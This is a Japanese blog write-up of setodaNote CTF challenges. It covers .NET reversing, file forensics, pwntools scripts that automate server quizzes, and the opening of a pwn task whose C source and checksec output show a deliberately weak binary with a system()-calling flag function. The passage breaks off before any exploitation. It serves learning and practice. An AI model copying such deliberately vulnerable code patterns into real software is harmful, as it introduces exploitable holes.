Flag is : flag{25.Sep.2014}

flag{25.Sep.2014} でした。

150ポイント獲得して、計1790ポイントで、690名中、145位になりました!

to_analyze(追記:2024/9/16)

Rev の最後の問題です。ダウンロードして解凍すると、「to_analyze.exe」というファイルが得られました。最後は Windowsプログラムです。

Revのto_analyze問題
Revのto_analyze問題

調べていきます。checksec は ELFファイルのみに対応しているようです。

$ file to_analyze.exe
to_analyze.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections

$ ./to_analyze.exe
nice try!

$ strings to_analyze.exe | grep flag

$ ../../../tools/checksec.sh-2.7.1/checksec --file=./to_analyze.exe
Error: Not an ELF file: ./to_analyze.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections

Ghidra で見てみます。

全然分かりませんでした。これは、C言語で書かれたものではない気がします。

問題文に「特定の環境で実行した場合のみ情報が表示される仕組み」とあります。これがヒントなんでしょうか。コマンドプロンプト、管理者権限のコマンドプロンプト、PowerShell など、いろいろ試してみましたが、特に変化はありませんでした。

strings の結果で気になるところがありました。この辺を検索してみます。ClickOnce アプリケーションとか出てきます。

_CorExeMain
mscoree.dll
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
  <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
  <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
    <security>
      <requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
        <requestedExecutionLevel level="asInvoker" uiAccess="false"/>
      </requestedPrivileges>
    </security>
  </trustInfo>
</assembly>

あと、右クリックのプロパティを見ると、元のファイル名は dreamcheck.exe と書かれていたり、ニュートラル言語と書かれていました。

C# と決めつけて、デコンパイラを探します。ILSpy というソフトがあるようです。

github.com

ダウンロードして、開くと、デコンパイルできました。

// dreamcheck, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// a
using System;
using System.IO;
using System.Text;

internal class a
{
    private static void a(string[] A_0)
    {
        byte[] array = new byte[15]
        {
            65, 127, 89, 80, 182, 160, 183, 182, 89, 118,
            119, 116, 177, 189, 177
        };
        for (int i = 0; i < array.Length; i++)
        {
            array[i] ^= 35;
            if (a(array[i], 119))
            {
                array[i] += 3;
            }
            array[i] ^= 21;
            array[i] -= 32;
            array[i] = b(array[i], 39);
        }
        a(Encoding.ASCII.GetString(array), array);
    }

    private static byte b(byte A_0, int A_1)
    {
        switch (A_1)
        {
        case 114:
            A_0 = (byte)(A_0 ^ 0x28u);
            break;
        case 39:
            A_0 = (byte)(A_0 ^ 0x13u);
            break;
        }
        return A_0;
    }

    private static bool a(byte A_0, int A_1)
    {
        if (A_1 == 119)
        {
            if (A_0 == 107 || A_0 == 117 || A_0 == 108 || A_0 == 102 || A_0 == 98)
            {
                return true;
            }
        }
        else if (A_0 == 110 || A_0 == 119 || A_0 == 99 || A_0 == 111 || A_0 == 97 || A_0 == 101 || A_0 == 112 || A_0 == 103 || A_0 == 108 || A_0 == 107 || A_0 == 112 || A_0 == 113)
        {
            return true;
        }
        return false;
    }

    private static void a(string A_0, byte[] A_1)
    {
        if (Directory.Exists(A_0))
        {
            Console.WriteLine("Yes, that's the right answer.");
            byte[] array = new byte[27]
            {
                9, 37, 48, 34, 41, 61, 199, 49, 220, 63,
                115, 59, 220, 200, 46, 115, 57, 220, 214, 50,
                53, 46, 47, 37, 124, 62, 9
            };
            for (int i = 0; i < array.Length; i++)
            {
                array[i] ^= A_1[12];
                array[i] ^= A_1[8];
                array[i] ^= A_1[3];
                array[i] ^= 35;
                if (a(array[i], 113))
                {
                    array[i] += 3;
                }
                array[i] ^= 21;
                array[i] -= 32;
                array[i] = b(array[i], 114);
            }
            Console.WriteLine(Encoding.ASCII.GetString(array));
        }
        else
        {
            Console.WriteLine("nice try!");
        }
    }
}

よく分からないので、Python で同じ処理を書いていきます。途中ですが、分かったので、ここまでにしました。

def main():
    
    # main関数
    array = [65, 127, 89, 80, 182, 160, 183, 182, 89, 118, 119, 116, 177, 189, 177]
    
    for ii, val in enumerate(array):
        
        array[ii] ^= 35
        
        if sub_a(array[ii], 119):
            array[ii] += 3
        
        array[ii] ^= 21
        array[ii] -= 32
        array[ii] = sub_b( array[ii], 39 )
    
    goal_a( array )

def goal_a( array ):
    
    for ii in array:
        print( f"{chr(ii)}, ", end="" )
    print()
    
    array2 = [9, 37, 48, 34, 41, 61, 199, 49, 220, 63, 115, 59, 220, 200, 46, 115, 57, 220, 214, 50, 53, 46, 47, 37, 124, 62, 9]

def sub_a( target, val ):
    
    if val == 119:
        
        if target in [107, 117, 108, 102, 98]:
            return True
    
    else:
        
        if target in [110, 119, 99, 111, 97, 101, 112, 103, 108, 107, 112, 113]:
            return True
    
    return False

def sub_b( target, val ):
    
    if val == 114:
        target = target ^ 0x28
    
    elif val == 39:
        target = target ^ 0x13
    
    return target

if __name__ == '__main__':
    
    main()

実装した Python を実行します。このディレクトリを作って、この場所で実行すればいいということでした。

$ python to_analyze.py
C, :, \, U, s, e, r, s, \, 3, 2, 1, t, x, t,

ディレクトリを作って実行してみます。

c:\Users\321txt>dreamcheck.exe
Yes, that's the right answer.

flag{Do_y0u_Kn0w_Ursnif?}

flag{Do_y0u_Kn0w_Ursnif?} でした。

200ポイント獲得して、計1990ポイントで、690名中、131位になりました!

Rev カテゴリは完了です!

Forensics

次のカテゴリは、Forensics(フォレンジック)です。

paint_flag

ダウンロードしたファイルを開くと、Word のファイルが出てきました。

Forensicsのpaint_flag問題
Forensicsのpaint_flag問題

とりあえず、表層解析(と言うそうです)です。

$ file paint_flag.docx
paint_flag.docx: Microsoft Word 2007+

とりあえず、LibreOffice で開いてみます。

「Microsof Office’s docx files are actually ___ files. 」と書かれています。調べてみると、Wordファイルは ZIPファイルとして展開できるそうです。早速展開しました。

word/media/flag.png に答えがありました。

flag{What_m4tters_is_inside;)}

50ポイント獲得して、計1090ポイントで、690名中、214位になりました!

Mail

次は、メールを解析するようです。

ForensicsのMail問題
ForensicsのMail問題

ダウンロードしたファイルを解凍すると、どうやら、ThunderBird のファイル形式のようです。Ubuntu を起動して、開いてみます。いろいろやってみましたが、ThunderBird で開くことは出来ませんでした。

仕方ないので、普通にファイルを開いて見ていきます。ファイルサイズ的に、Sent-1 というファイルが大きいです。中はテキストでした。kimitsu.zip という内容がありました。

base64 のテキストをコピーして、オンラインのデコードツールに貼り付けると ZIPファイルが出来ました。中身は画像ファイルでした。

flag{You've_clearly_done_a_good_job_there!!} でした。

50ポイント獲得して、計1140ポイントで、690名中、211位になりました!

Deletedfile

次は、ファイルの復元?の問題です。

ForensicsのDeletedfile問題
ForensicsのDeletedfile問題

ダウンロードしたファイルを解凍すると、deletedfile.raw というファイルが得られました。とりあえず、ファイルの概要を調べます。

$ file deletedfile.raw
deletedfile.raw: DOS/MBR boot sector MS-MBR Windows 7 english at offset 0x163 "Invalid partition table" at offset 0x17b "Error loading operating system" at offset 0x19a "Missing operating system"; partition 1 : ID=0xee, start-CHS (0x0,0,2), end-CHS (0x0,254,63), startsector 1, 4294967295 sectors

エラーがあると言ってます。バイナリエディタで開きます。真面目にファイルシステムを解析するのは大変そうですが、やれるところまで、やってみます。

先頭の 512byte(0x200)は、マスターブートレコード(MBR)です。先頭から 0x1BE の位置から、16byteごとに4つのパーティションテーブルが存在します。見てみると、第1パーティション(00 00 02 00 EE FE 3F 00 01 00 00 00 FF FF FF FF)だけが使われているようです。

このパーティションテーブルの内容を確認します。

  • ブート不可
  • パーティションの最初のセクタ(CHS方式):0x200
  • パーティション識別子:0xEE(GPT)
  • パーティションの最後のセクタ(CHS方式):0x3FFE
  • パーティションの最初のセクタ(LBA方式):1
  • パーティションの全セクタ数:0xFFFFFFFF

いや、ちょっと大変すぎますね、ツールとかがあるはずですので、探してみます。FTK Imager というツールが有名らしいです。Windows版しかないようです。さくっとインストールしました。

使い方は全く分からないですが、Dドライブにマウントされました。word.jpg というファイルが 1つだけありましたが、あまり関係ない気がします。

別のツールの Autopsy というのがあるようです。こちらもやってみます。ダウンロードしたファイルは、約1.1GB ありました。こちらもインストールします。

インストールが終わったら、適当に設定をします。deletedfile.raw を解析します。だいぶ時間がかかります。長すぎなので、次の Programming の ZZZIPPP を解析の間にやります。

解析は 69% から全く進まなくなったけど、削除されたファイルの中に、「secret_word.jpg」がありました。

flag{nosce_te_ipsum} でした。

80ポイント獲得して、計1300ポイントで、690名中、193位になりました!

Timeline(追記:2024/10/19)

添付ファイルを解凍すると、Windows の AppData のフォルダが得られます。

Timeline問題
Timeline問題

fileコマンドを実行します。SQLite のデータベースファイルのようです。DB Browser for SQLite で開いてみます。

$ file ./*
./ActivitiesCache.db:     SQLite 3.x database, user version 27, last written using SQLite version 3025003, writer version 2, read version 2, file counter 5, database pages 129, cookie 0x16, schema 4, UTF-8, version-valid-for 5
./ActivitiesCache.db-shm: data
./ActivitiesCache.db-wal: SQLite Write-Ahead Log, version 3007000

たくさんのデータがあります。ConnectedDevicesPlatform で Web検索してみると、Windowsの活動を時系列で記録したデータベースのようです。

解析ツールがあるらしいので使ってみます。

github.com

SQLite x64 みたいなライブラリを自動でインストールしてくれます。ちょっと時間がかかってインストールが終わると、WindowsTimeline を再起動します。解凍した ActivitiesCache.db を読み込んで Run を押すと解析が始まります。

Windows の操作の履歴が表示されました。いくつかの x.txt みたいな 1文字のファイル名のテキストファイルを作っているようです。あ、ファイル名がフラグのようです。順番につなげていくと、flag{Th3_Fu7Ure_1s_N0w} でした。

100ポイント獲得して、計4920ポイントで、718名中、39位になりました!

browser_db(追記:2024/10/20)

添付ファイルを解凍すると、SQLite のデータベースファイルが得られました。

browser_db問題
browser_db問題

FireFox のデータベースのようです。最近の FireFox は、内部で SQLite を使ってるんですね、初めて知りました。

では、データベースファイルを DB Browser for SQLite で開きます。テーブルを CSVエクスポートします。複数のテーブルを選択すると一気にエクスポートしてくれるので便利です。

うさみみハリケーンの YARAルールスキャンを行います。moz_places.csv に何かありそうです。

フラグがありました。flag{goosegoosego} でした。

100ポイント獲得して、計5020ポイントで、719名中、37位になりました!

MFT(追記:2024/10/20)

ダウンロードしたファイルを解凍すると、1つのファイル(C_$MFT)が得られました。

MFT問題
MFT問題

うさみみハリケーンで調べると、NTFS Master File Table だそうです。ファイルシステムのテーブル情報でしょうか。YARAルールスキャンを実行します。あ、今回は、flag{} の形式ではないのでダメですね。

バイナリエディタで開きます。フォーマットを理解して、真面目に解析する前に、ファイルサイズとタイムスタンプが分かっているので、その情報で検索します。

まず、ファイルサイズの 465030(0x71886)で検索すると、5件ヒットします。

次に、タイムスタンプは、ChatGPT に計算してもらいました。2021-07-18 18:30 は、00 84 18 AB 2E C0 77 1D とのことです。

ファイル名は、UTF-16 で格納されてるらしいです。

Active @ Disk Editor というツールを使ってる方がいたので、使ってみます。

先ほどヒットした5件を順番に見ていきます。ヘルプなどを全く見てないので、感覚で使ってますが、以下の手順で行いました。

Navigate → Go to Offset... で、ヒットしたオフセットを指定する。MFT は、1kbyte単位らしいので、先頭に FILE というマジックナンバーがあるところにカーソルを合わせてダブルクリック(512byte=セクタが認識されてそう)する。先頭バイトにカーソルを合わせた状態で右クリックして、Set Template Position をクリックして、左上の Templates を NTFS MFT File Record に合わせる。すると、各フィールドが表示されるので、そこから $FILE_NAME を探す。Real Size にファイルサイズが入っていそうなので、そこがマッチするかを確認する。マッチしてれば、その上にあるタイムスタンプと、その下にある File Name を確認する。

flag{kimitsu.zip} でした。

100ポイント獲得して、計5120ポイントで、719名中、36位になりました!

ファイルシステムの ext にも対応してそうなので、次からはこのツールを使って解析したいと思います。

tkys_another_day(追記:2024/10/20)

ダウンロードしたファイルを解凍すると PNGファイル(tkys_another_day.png)が得られます。

tkys_another_day問題
tkys_another_day問題

PNGファイルを開いてみると、一部のフラグが表示されている状態?です。

とりあえず、うさみみハリケーンのステガノグラフィー解析をやってみましたが、特に隠された情報はありませんでした。

ExifTool を使って情報を探して見ました。ちょっと気になったのは、Software のフィールドに、APNG Assembler 2.91 と書かれていました。調べてみるとアニメーション形式らしいです。Chrome ドラッグアンドドロップしてしばらくすると、さらに一部のフラグが表示されました。しかし、まだ不足している状態です。

いろいろ調べたところ、逆コンバーターみたいなのがあって、フレームごとに分解できました。ソフトのリンクだけ貼っておきます。

apngasm.sourceforge.net

flag{a_fake_illness_is_the_most_serious_disease_f5ab7} でした。

100ポイント獲得して、計5220ポイントで、719名中、35位になりました!

MESSAGE(追記:2024/10/20)

ダウンロードしたファイルを解凍すると、JPG画像(lo3rs1tkd.jpg)が得られます。

MESSAGE問題
MESSAGE問題

JPG画像を開いてみると、普通の画像でした。先ほどの同じ手順で解析を進めます

ExifTool で JFIF と書かれていました。JPEG File Interchange Format の略だそうです。うさみみハリケーンでも何も見つかりません。binwalk、Autopsy、foremost も試してみましたが、見つかりません。Chrome に放り込んでみても何も起こりません。scalpel というツールも試してみましたが、見つかりません。

うーん、困りました。JPG画像ファイルを見てると、右下に変なところがあります。しかし、どうしていいか分かりません。ギブアップです。

writeupを見ると、右下の変なところが重要だったようです。このファイルはファイルサイズがおかしいので、それを変更するとフラグが現れるそうです。

JPEGファイルのフォーマット

JPEGファイルのフォーマットを知る必要があります。以下のサイトで理解していきます。

hp.vector.co.jp

JPEGファイルのバイナリエディタでの解析方法をメモしておきます。先頭は 0xFFD8 で、末尾は 0xFFD9 です。これらはマーカーと呼ばれます。

FFD8 の後は、何らかのセグメントというブロックが続きます。何のセグメント(マーカー)で、長さ(セグメント長)の情報が、2byte、2byte で書かれています。

例えば、今回のファイルであれば、FFD8 の後は、マーカーが FFE0 とあるので、APP0 というセグメントです。FFE0 から FFEF は APPn セグメントだそうです。セグメント長は 0x0010 とあるので 16byte です。この 16byte は、マーカーは含まないみたいです。APPn のセグメントは作ったアプリケーションが定義できる領域なので、詳しくは見ません。

次のセグメントは、マーカーが FFDB で、DQT(Define Quantization Table)量子化テーブル定義とのことです。今回は関係ないので、次に行きます。次も DQT なので、その次に行きます。

次の FFC0(オフセット:9E)は、SOF(Start Of Frame)で、FFC0 から FFCF が SOF です。FFC4、FFC8、FFCC は定義されていないようで、13種類あるようです。ここに画像サイズが格納されています。セグメント長の後は、成分数(1byte)、縦サイズ(2byte)、横サイズ(2byte)、成分数(1byte)となっています。縦サイズ:959、横サイズ:1280 でした。

では、バイナリエディタで、この縦サイズを 959 から 1280 として正方形の画像に変更してみます。変更した後、ファイルを開いてみると、正方形の画像に変わりました。すると、右下に QRコードのようなものが見えます。

QRコードの作り方

さらに、ここから、正しい QRコードにしていく必要があります(120ポイントで難しすぎない?)。以下のサイトで QRコードを手書きで作れます。

merri.cx

QRコードにはバージョンがあるようで、バージョンによって、縦横のサイズが変わります。今回の画像でドットを数えると(たぶん)29個ありました。なので、ver.3 を選びます。あとは地道に 1つずつ色を塗っていくことになります(他に方法ないんでしょうか)。

左上、左下、右上の位置検出パターンをファインダパターン(切り出しシンボル)と言うそうです。また、右下のアライメントパターンは、歪みを補正する(位置ズレを補正する)ようです。

今回の画像には、アライメントパターンは書かれているので、それを目印に色塗りしていきます。うーん、この画像って、白黒が逆転してますね。見にくいので、うさみみハリケーンのステガノグラフィー解析で XOR反転させます。

120ポイント獲得して、計5340ポイントで、720名中、34位になりました!

Forensics はここまでにします。

Programming

次のカテゴリは、Programming です。CTF によっては PPC(Professional Programming and Coding)というカテゴリ名で分類されることもあるそうです。

ZZZIPPP

ダウンロードしたファイルを解凍します。

ProgrammingのZZZIPPP問題
ProgrammingのZZZIPPP問題

また ZIPファイルが出てきました。それを解凍しても、また ZIPファイルが、、、なるほど、そういうことですね。じゃ、適当に Python で作ります。

import os, sys
import argparse
import shutil

def unzip( fpath ):
    
    shutil.unpack_archive( fpath )
    os.remove( fpath )

if __name__ == '__main__':
    
    fpath = "./flag1000.zip"
    
    dname = os.path.dirname( fpath )
    
    while True:
        
        # unzip and remove
        unzip( fpath )
        
        files = os.listdir( dname )
        
        if len(files) > 1: raise
        
        fpath = files[0]
        
        if os.path.splitext( fpath )[1] != ".zip": break
        
        print( fpath )

雑でしたが、1000回解凍して、flag.txt が得られました。

flag{loop-zip-1989-zip-loop} でした。

80ポイント獲得して、計1220ポイントで、690名中、200位になりました!

Programming はここまでにします。

echo_me(追記:2024/9/16)

プログラムの配布はされないようです。

Programmingのecho_me問題
Programmingのecho_me問題

とにかく、アクセスしてみます。

あー、なるほどです。かなりの量を聞かれるので、プログラムで何とかしなさい、ってことですね。

$ nc nc.ctf.setodanote.net 26512
==========
echo me: 396623
==========
396623
Correct!

==========
echo me: 884886
==========
884886
Correct!

==========
echo me: 794973
==========
aaa
Incorrect! Nice try!

では、せっかくなので、Pwntools を使ってやっていきます。

雑ですが、作りました。

import os, sys
import argparse

from pwn import *

def main( args ):
    
    proc = remote( 'nc.ctf.setodanote.net', 26512 )
    
    cnt = 0
    while True:
        
        bstr = proc.recv( timeout=2 )
        print( f"{cnt}: bstr={bstr}, bstr.split()={bstr.split()}" )
        
        if len(bstr) > 0:
            bstr_split = bstr.split()
            
            if b'echo' in bstr_split:
                idx = bstr_split.index( b'echo' )
                num = bstr_split[idx + 2]
                
                #bstr = proc.recv( timeout=1 )
                #print( f"{cnt}: {bstr}" )
                
                print( f"send: {num}" )
                proc.sendline( num )
                cnt = 0
        
        else:
            cnt += 1

if __name__ == '__main__':
    
    main( args )

実行してみます。

$ python echo_me.py
[+] Opening connection to nc.ctf.setodanote.net on port 26512: Done
0: bstr=b'==========\n', bstr.split()=[b'==========']
0: bstr=b'echo me: 174687\n==========\n', bstr.split()=[b'echo', b'me:', b'174687', b'==========']
send: b'174687'
0: bstr=b'Correct!\n\n', bstr.split()=[b'Correct!']
0: bstr=b'==========\necho me: 489883\n==========\n', bstr.split()=[b'==========', b'echo', b'me:', b'489883', b'==========']
send: b'489883'
0: bstr=b'Correct!\n\n', bstr.split()=[b'Correct!']
0: bstr=b'==========\necho me: 981329\n==========\n', bstr.split()=[b'==========', b'echo', b'me:', b'981329', b'==========']
send: b'981329'
0: bstr=b'Correct!\n\n', bstr.split()=[b'Correct!']
0: bstr=b'==========\necho me: 651174\n==========\n', bstr.split()=[b'==========', b'echo', b'me:', b'651174', b'==========']
send: b'651174'
(省略)
send: b'29150530'
0: bstr=b'Correct!\n\n', bstr.split()=[b'Correct!']
0: bstr=b'==========\necho me: 49234610\n==========\n', bstr.split()=[b'==========', b'echo', b'me:', b'49234610', b'==========']
send: b'49234610'
0: bstr=b'Correct!\n\n', bstr.split()=[b'Correct!']
0: bstr=b'flag{Hellow_yamabiko_Yoo-hoo!}\n', bstr.split()=[b'flag{Hellow_yamabiko_Yoo-hoo!}']
Traceback (most recent call last):
  File "/home/user/svn/experiment/python/echo_me.py", line 35, in <module>
    main( args )
  File "/home/user/svn/experiment/python/echo_me.py", line 13, in main
    bstr = proc.recv( timeout=2 )
           ^^^^^^^^^^^^^^^^^^^^^^
  File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py", line 106, in recv
    return self._recv(numb, timeout) or b''
           ^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py", line 176, in _recv
    if not self.buffer and not self._fillbuffer(timeout):
                               ^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py", line 155, in _fillbuffer
    data = self.recv_raw(self.buffer.get_fill_size())
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/sock.py", line 56, in recv_raw
    raise EOFError
EOFError
[*] Closed connection to nc.ctf.setodanote.net port 26512

だいぶ雑でしたが、flag{Hellow_yamabiko_Yoo-hoo!} でした。

120ポイント獲得して、計2110ポイントで、690名中、126位になりました!

EZZZIPPP(追記:2024/9/16)

上のパスワード付き版ですね。

ProgrammingのEZZZIPPP問題
ProgrammingのEZZZIPPP問題

上の Pythonスクリプトを変更して作っていきます。

import os, sys
import argparse
import pyzipper

def unzip( fpath, fpass ):
    
    with open(fpass) as ff:
        ps = ff.read().strip()
        print( f"password={ps}" )
    
    with pyzipper.AESZipFile(fpath) as zf:
        zf.setpassword( ps.encode('utf-8') )
        zf.extractall('.')
    os.remove( fpath )

if __name__ == '__main__':
    
    fpath = "./flag1000.zip"
    fpass = "pass.txt"
    
    dname = os.path.dirname( fpath )
    print( f"dname={dname}" )
    
    while True:
        
        # unzip and remove
        unzip( fpath, fpass )
        
        files = os.listdir( dname )
        
        if len(files) != 2: raise
        
        for fpath in files:
            
            if os.path.splitext( fpath )[1] == ".zip": break
        
        print( fpath )

実行します。ちょっと時間がかかります。1000回なら 10分ぐらいかかりそうです。

$ python ../../../python/unzip2.py
dname=.
password=lCfIpIq2Ka
flag999.zip
password=xSdiBJD6qU
flag998.zip
password=SDOMUaDM58
flag997.zip
password=hts6rRuyUI
flag996.zip
(省略)
flag3.zip
password=PQYrocq8RQ
flag2.zip
password=2MPNeLgcTV
flag1.zip
password=flag
flag.txt
password=flag
Traceback (most recent call last):
  File "/home/user/svn/experiment/setodaNoteCTF/Programming/flag/../../../python/unzip2.py", line 27, in <module>
    unzip( fpath, fpass )
  File "/home/user/svn/experiment/setodaNoteCTF/Programming/flag/../../../python/unzip2.py", line 11, in unzip
    with pyzipper.AESZipFile(fpath) as zf:
         ^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/user/20240819/lib/python3.11/site-packages/pyzipper/zipfile_aes.py", line 338, in __init__
    super().__init__(*args, **kwargs)
  File "/home/user/20240819/lib/python3.11/site-packages/pyzipper/zipfile.py", line 1786, in __init__
    raise e
  File "/home/user/20240819/lib/python3.11/site-packages/pyzipper/zipfile.py", line 1749, in __init__
    self._RealGetContents()
  File "/home/user/20240819/lib/python3.11/site-packages/pyzipper/zipfile.py", line 1816, in _RealGetContents
    raise BadZipFile("File is not a zip file")
pyzipper.zipfile.BadZipFile: File is not a zip file

flag{bdf574f15645df736df13daef06128b8} でした。

150ポイント獲得して、計2260ポイントで、690名中、114位になりました!

deep_thought(追記:2024/9/16)

ファイルの配布はありません。

Programmingのdeep_thought問題
Programmingのdeep_thought問題

接続してみます。なるほどです。echo_me と似てますね。

$ nc nc.ctf.setodanote.net 26511
[ Q1 ]
4 + 4
8
Correct!

[ Q2 ]
6 + 2
9
Incorrect! Nice try!

では、echo_me を改造して実装します。足し算以外が出てきたらビックリします、、、引き算も出ました(笑)。

import os, sys
import struct

from pwn import *

def calc( bstr_split, ope ):
    
    if ope == "add":
        idx = bstr_split.index( b'+' )
        num = int(bstr_split[idx - 1]) + int(bstr_split[idx + 1])
    elif ope == "sub":
        idx = bstr_split.index( b'-' )
        num = int(bstr_split[idx - 1]) - int(bstr_split[idx + 1])
    
    print( f"send: {int(bstr_split[idx - 1])}, {int(bstr_split[idx + 1])}, num={num}" )
    
    return num

def main():
    
    proc = remote( 'nc.ctf.setodanote.net', 26511 )
    
    cnt = 0
    while True:
        
        bstr = proc.recv( timeout=2 )
        print( f"{cnt}: bstr={bstr}, bstr.split()={bstr.split()}" )
        
        if len(bstr) > 0:
            bstr_split = bstr.split()
            
            if b'+' in bstr_split:
                num = calc( bstr_split, "add" )
                proc.sendline( f"{num}".encode('utf-8') )
                cnt = 0
            
            elif b'-' in bstr_split:
                num = calc( bstr_split, "sub" )
                proc.sendline( f"{num}".encode('utf-8') )
                cnt = 0
            
            else:
                cnt += 1
        
        else:
            cnt += 1

if __name__ == '__main__':
    
    main()

実行してみます。

$ python deep_thought.py
[+] Opening connection to nc.ctf.setodanote.net on port 26511: Done
0: bstr=b'[ Q1 ]\n', bstr.split()=[b'[', b'Q1', b']']
1: bstr=b'1 + 3\n', bstr.split()=[b'1', b'+', b'3']
send: 1, 3, num=4
0: bstr=b'Correct!\n\n', bstr.split()=[b'Correct!']
1: bstr=b'[ Q2 ]\n7 + 4\n', bstr.split()=[b'[', b'Q2', b']', b'7', b'+', b'4']
send: 7, 4, num=11
0: bstr=b'Correct!\n\n', bstr.split()=[b'Correct!']
1: bstr=b'[ Q3 ]\n10 + 6\n', bstr.split()=[b'[', b'Q3', b']', b'10', b'+', b'6']
send: 10, 6, num=16
(省略)
0: bstr=b'Correct!\n\n', bstr.split()=[b'Correct!']
1: bstr=b'[ Q50 ]\n2297 + 2041\n', bstr.split()=[b'[', b'Q50', b']', b'2297', b'+', b'2041']
send: 2297, 2041, num=4338
0: bstr=b'Correct!\n\n', bstr.split()=[b'Correct!']
1: bstr=b'flag{__42__}\n', bstr.split()=[b'flag{__42__}']
Traceback (most recent call last):
  File "/home/user/svn/experiment/python/deep_thought.py", line 50, in <module>
    main()
  File "/home/user/svn/experiment/python/deep_thought.py", line 26, in main
    bstr = proc.recv( timeout=2 )
           ^^^^^^^^^^^^^^^^^^^^^^
  File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py", line 106, in recv
    return self._recv(numb, timeout) or b''
           ^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py", line 176, in _recv
    if not self.buffer and not self._fillbuffer(timeout):
                               ^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py", line 155, in _fillbuffer
    data = self.recv_raw(self.buffer.get_fill_size())
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/sock.py", line 56, in recv_raw
    raise EOFError
EOFError
[*] Closed connection to nc.ctf.setodanote.net port 26511

flag{__42__} でした。

250ポイント獲得して、計2510ポイントで、690名中、102位になりました!

Pwn

次のカテゴリは、Pwn です。

tkys_let_die

100ポイントの問題ですが、これが一番やさしい問題のはずなので、やっていきます。

Pwnのtkys_let_die問題
Pwnのtkys_let_die問題

とにかく、nc で繋いでみます。入口のような絵が出ました。名前を聞かれたので、入力したら、Gate が閉じてるから、Goodbay 言われました。Goodbye のことでしょうか(笑)。

$ nc nc.ctf.setodanote.net 26501

                                  {} {}
                          !  !  ! II II !  !  !
                       !  I__I__I_II II_I__I__I  !
                       I_/|__|__|_|| ||_|__|__|\_I
                    ! /|_/|  |  | || || |  |  |\_|\ !
        .--.        I//|  |  |  | || || |  |  |  |\\I        .--.
       /-   \    ! /|/ |  |  |  | || || |  |  |  | \|\ !    /=   \
       \=__ /    I//|  |  |  |  | || || |  |  |  |  |\\I    \-__ /
        }  {  ! /|/ |  |  |  |  | || || |  |  |  |  | \|\ !  }  {
       {____} I//|  |  |  |  |  | || || |  |  |  |  |  |\\I {____}
 _!__!__|= |=/|/ |  |  |  |  |  | || || |  |  |  |  |  | \|\=|  |__!__!_
 _I__I__|  ||/|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|\||- |__I__I_
 -|--|--|- ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||= |--|--|-
  |  |  |  || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||  |  |  |
  |  |  |= || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||= |  |  |
  |  |  |- || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||= |  |  |
  |  |  |- || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||- |  |  |
 _|__|__|  ||_|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|_||  |__|__|_
 -|--|--|= ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||- |--|--|-
  |  |  |- || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||= |  |  |
 ~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^~~~~~~~~~~~

You'll need permission to pass. What's your name?
> daisuke
Gate is close.
Goodbay daisuke.

では、ローカルで解析します。ダウンロードしたファイルを解凍すると、gate というプログラムと gate.c というソースコードが得られました。ソースコードが与えられるのは嬉しいですね。

$ file gate
gate: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=e9d7ef71659ad8874194e92264ffdadac305c962, for GNU/Linux 3.2.0, not stripped

checksec をかけてみます。スタック上の実行も許可されているようです。

$ ../../../tools/checksec.sh-2.7.1/checksec --file=gate
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols       FORTIFY Fortified  Fortifiable FILE
Partial RELRO   No canary found   NX disabled   PIE enabled     No RPATH   No RUNPATH   70 Symbols    No      0          1           gate

gate.c です。

if (strcmp(gate,"open")==0) { が真になれば、フラグが表示される仕組みのようです。しかし、ユーザが入力できるのは、name という変数なので、gate は "close" から変更できません。

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void printFlag(void) {
    system("/bin/cat ./flag");
}

int main(void) {
    char gate[6]="close";
    char name[16]="..";
    printf("\n");
    printf("                                  {} {}\n");
    printf("                          !  !  ! II II !  !  !\n");
    printf("                       !  I__I__I_II II_I__I__I  !\n");
    printf("                       I_/|__|__|_|| ||_|__|__|\\_I\n");
    printf("                    ! /|_/|  |  | || || |  |  |\\_|\\ !\n");
    printf("        .--.        I//|  |  |  | || || |  |  |  |\\\\I        .--.\n");
    printf("       /-   \\    ! /|/ |  |  |  | || || |  |  |  | \\|\\ !    /=   \\\n");
    printf("       \\=__ /    I//|  |  |  |  | || || |  |  |  |  |\\\\I    \\-__ /\n");
    printf("        }  {  ! /|/ |  |  |  |  | || || |  |  |  |  | \\|\\ !  }  {\n");
